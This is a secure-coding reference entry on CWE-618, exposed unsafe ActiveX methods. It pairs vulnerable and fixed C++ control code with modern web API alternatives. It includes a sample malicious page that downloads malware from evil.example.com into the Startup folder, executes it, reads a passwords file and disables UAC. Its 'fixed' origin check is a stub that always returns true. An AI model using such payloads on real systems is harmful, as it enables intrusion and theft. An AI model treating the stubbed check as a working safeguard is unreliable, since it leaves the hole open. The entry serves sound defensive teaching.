Exposed Unsafe ActiveX Method
Description
Exposed Unsafe ActiveX Method is a vulnerability where an ActiveX control designed for use in web browsers exposes dangerous methods that perform actions outside the browser's security model, such as bypassing zone or domain restrictions. ActiveX controls run with substantially greater operating system privileges than JavaScript or Java applets, allowing them to perform operations like file system access, registry modification, or program execution. When these powerful methods are exposed without proper input validation or origin checking, attackers can craft malicious web pages that invoke these methods, effectively gaining control over the user's system.
Risk
Exposing unsafe ActiveX methods creates severe security risks. Attackers can create malicious websites that silently invoke dangerous control methods when victims visit. This can lead to arbitrary file download or upload to attacker-chosen locations, execution of malicious programs, theft of sensitive files, registry modification to install malware or disable security software, and full system compromise. Because ActiveX runs with the user's privileges, successful exploitation often provides complete access to user data and system resources. The risk is amplified when controls are marked as "safe for scripting," allowing automatic invocation without user prompts.
Solution
Avoid exposing methods that perform dangerous operations if possible. When exposure is necessary, implement strict input validation on all arguments, verify the calling origin before executing sensitive operations, and protect against all possible vulnerability types including buffer overflows, path traversal, and injection attacks. Implement code signing for controls, though this only provides attribution, not protection against control weaknesses. Avoid marking controls as "safe for scripting" or "safe for initialization" unless absolutely necessary. Consider using safer alternatives to ActiveX such as modern web APIs with appropriate permissions.
Common Consequences
| Impact | Details |
|---|---|
| Confidentiality | Scope: Confidentiality Read Application Data - Exposed methods may allow reading files or system information from the user's machine. |
| Integrity | Scope: Integrity Modify Application Data - Dangerous methods can write files, modify registry, or alter system configuration. |
| Access Control | Scope: Access Control Execute Unauthorized Code or Commands - Methods that execute programs or download files enable arbitrary code execution on user systems. |
Example Code
Vulnerable Code
// Vulnerable: ActiveX control exposing dangerous file operations
// FileManipulator.idl
[
object,
uuid(12345678-1234-1234-1234-123456789ABC),
dual,
helpstring("IFileManipulator Interface"),
pointer_default(unique)
]
interface IFileManipulator : IDispatch
{
// Vulnerable: Allows downloading files to any location
[id(1)] HRESULT DownloadFile([in] BSTR url, [in] BSTR localPath);
// Vulnerable: Allows reading any file
[id(2)] HRESULT ReadFile([in] BSTR filePath, [out, retval] BSTR* content);
// Vulnerable: Allows executing any program
[id(3)] HRESULT ExecuteProgram([in] BSTR programPath, [in] BSTR arguments);
// Vulnerable: Registry manipulation
[id(4)] HRESULT WriteRegistry([in] BSTR key, [in] BSTR value);
};
// Implementation
STDMETHODIMP CFileManipulator::DownloadFile(BSTR url, BSTR localPath)
{
// Vulnerable: No validation of URL or path
// Attacker can download malware to any location
URLDownloadToFile(NULL, url, localPath, 0, NULL);
return S_OK;
}
STDMETHODIMP CFileManipulator::ExecuteProgram(BSTR programPath, BSTR arguments)
{
// Vulnerable: No validation - executes any program
ShellExecute(NULL, L"open", programPath, arguments, NULL, SW_SHOW);
return S_OK;
}
<!-- Malicious webpage exploiting vulnerable ActiveX control -->
<html>
<body>
<object id="vuln" classid="clsid:12345678-1234-1234-1234-123456789ABC">
</object>
<script>
// Attack: Download malware to startup folder
var ctrl = document.getElementById('vuln');
ctrl.DownloadFile(
'http://evil.example.com/malware.exe',
'C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\malware.exe'
);
// Attack: Execute the malware
ctrl.ExecuteProgram('C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\malware.exe', '');
// Attack: Read sensitive files
var content = ctrl.ReadFile('C:\\Users\\Victim\\Documents\\passwords.txt');
// Send to attacker server via image beacon or XHR
// Attack: Modify registry to disable security
ctrl.WriteRegistry('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA', '0');
</script>
</body>
</html>
Fixed Code
// Fixed: ActiveX control with proper security measures
// SecureFileHandler.idl
[
object,
uuid(87654321-4321-4321-4321-CBA987654321),
dual,
helpstring("ISecureFileHandler Interface"),
pointer_default(unique)
]
interface ISecureFileHandler : IDispatch
{
// Fixed: Limited functionality with validation
[id(1)] HRESULT DownloadToTempFolder([in] BSTR url, [out, retval] BSTR* localPath);
// Fixed: Only read from allowed directories
[id(2)] HRESULT ReadAllowedFile([in] BSTR relativePath, [out, retval] BSTR* content);
};
// Implementation with security measures
class CSecureFileHandler : public ISecureFileHandler
{
private:
// Whitelist of allowed domains
static const wchar_t* ALLOWED_DOMAINS[];
static const wchar_t* ALLOWED_READ_DIR;
bool IsUrlFromTrustedDomain(BSTR url)
{
// Parse URL and check domain
URL_COMPONENTS urlComp = {0};
urlComp.dwStructSize = sizeof(urlComp);
wchar_t hostName[256];
urlComp.lpszHostName = hostName;
urlComp.dwHostNameLength = 256;
if (!InternetCrackUrl(url, 0, 0, &urlComp))
return false;
// Check against whitelist
for (int i = 0; ALLOWED_DOMAINS[i] != NULL; i++) {
if (wcsicmp(hostName, ALLOWED_DOMAINS[i]) == 0)
return true;
}
return false;
}
bool ValidatePath(BSTR path, bool& hasPathTraversal)
{
hasPathTraversal = false;
// Check for path traversal attempts
if (wcsstr(path, L"..") != NULL) {
hasPathTraversal = true;
return false;
}
// Check for absolute paths
if (PathIsRelative(path) == FALSE) {
return false;
}
return true;
}
bool VerifyCallerOrigin()
{
// Verify the calling script is from a trusted origin
// Implementation depends on hosting environment
IServiceProvider* pSP = NULL;
IWebBrowser2* pBrowser = NULL;
BSTR url = NULL;
// Get hosting browser and check URL
// Only allow calls from specific trusted sites
// ... implementation ...
return true; // Simplified - implement proper check
}
public:
STDMETHODIMP DownloadToTempFolder(BSTR url, BSTR* localPath)
{
// Fixed: Verify caller origin
if (!VerifyCallerOrigin()) {
return E_ACCESSDENIED;
}
// Fixed: Validate URL is from trusted domain
if (!IsUrlFromTrustedDomain(url)) {
return E_INVALIDARG;
}
// Fixed: Only download to temp folder with generated name
wchar_t tempPath[MAX_PATH];
GetTempPath(MAX_PATH, tempPath);
wchar_t tempFile[MAX_PATH];
GetTempFileName(tempPath, L"DL", 0, tempFile);
HRESULT hr = URLDownloadToFile(NULL, url, tempFile, 0, NULL);
if (SUCCEEDED(hr)) {
*localPath = SysAllocString(tempFile);
}
return hr;
}
STDMETHODIMP ReadAllowedFile(BSTR relativePath, BSTR* content)
{
// Fixed: Verify caller origin
if (!VerifyCallerOrigin()) {
return E_ACCESSDENIED;
}
// Fixed: Validate path
bool hasTraversal;
if (!ValidatePath(relativePath, hasTraversal)) {
return E_INVALIDARG;
}
// Fixed: Only allow reading from specific directory
wchar_t fullPath[MAX_PATH];
PathCombine(fullPath, ALLOWED_READ_DIR, relativePath);
// Fixed: Canonicalize and verify still in allowed directory
wchar_t canonicalPath[MAX_PATH];
PathCanonicalize(canonicalPath, fullPath);
if (wcsncmp(canonicalPath, ALLOWED_READ_DIR, wcslen(ALLOWED_READ_DIR)) != 0) {
return E_ACCESSDENIED;
}
// Read file with size limits
// ... implementation with buffer overflow protection ...
return S_OK;
}
};
// Registry settings to NOT mark as safe for scripting
// [HKEY_CLASSES_ROOT\CLSID\{87654321-4321-4321-4321-CBA987654321}\Implemented Categories]
// Do NOT add {7DD95801-9882-11CF-9FA9-00AA006C42C4} (safe for scripting)
// Do NOT add {7DD95802-9882-11CF-9FA9-00AA006C42C4} (safe for initialization)
// Better: Use modern web APIs instead of ActiveX
// Modern approach using File System Access API (with user consent)
async function modernFileAccess() {
// User must explicitly grant permission
const fileHandle = await window.showOpenFilePicker({
types: [{
description: 'Text files',
accept: {'text/plain': ['.txt']}
}]
});
// User chose the file - no arbitrary access possible
const file = await fileHandle[0].getFile();
const contents = await file.text();
return contents;
}
// For downloads, use standard download attribute
function safeDownload(url, filename) {
// Browser handles security - no arbitrary path access
const link = document.createElement('a');
link.href = url;
link.download = filename;
link.click();
}
CVE Examples
- CVE-2007-1120: ActiveX control allows file downloads to arbitrary folders.
- CVE-2006-6838: ActiveX control downloads and executes URLs specified in parameters.
- CVE-2007-0321: ActiveX method with buffer overflow vulnerability.
References
- MITRE Corporation. "CWE-618: Exposed Unsafe ActiveX Method." https://cwe.mitre.org/data/definitions/618.html
- Microsoft. "Safe Initialization and Scripting for ActiveX Controls."
- OWASP. "ActiveX Security."